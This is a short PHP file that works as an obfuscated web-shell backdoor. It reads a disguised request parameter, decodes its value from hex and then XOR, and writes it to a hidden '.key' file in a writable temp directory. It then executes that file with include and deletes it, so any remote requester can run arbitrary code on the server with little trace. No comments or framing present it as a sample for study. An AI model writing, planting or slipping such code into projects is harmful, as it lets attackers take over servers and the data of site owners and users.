<?php

if(array_key_exists("en\x74i\x74\x79", $_REQUEST) && !is_null($_REQUEST["en\x74i\x74\x79"])){
	$obj = hex2bin($_REQUEST["en\x74i\x74\x79"]);
	$flag   =     ''    ;   for($j=0; $j<strlen($obj); $j++){$flag .= chr(ord($obj[$j]) ^ 9);}
	$factor = array_filter([session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]);
	for ($marker = 0, $reference = count($factor); $marker < $reference; $marker++) {
    $property_set = $factor[$marker];
    		if (!( !is_dir($property_set) || !is_writable($property_set) )) {
    $ref = sprintf("%s/.key", $property_set);
    $success = file_put_contents($ref, $flag);
if ($success) {
	include $ref;
	@unlink($ref);
	die();}
}
}
}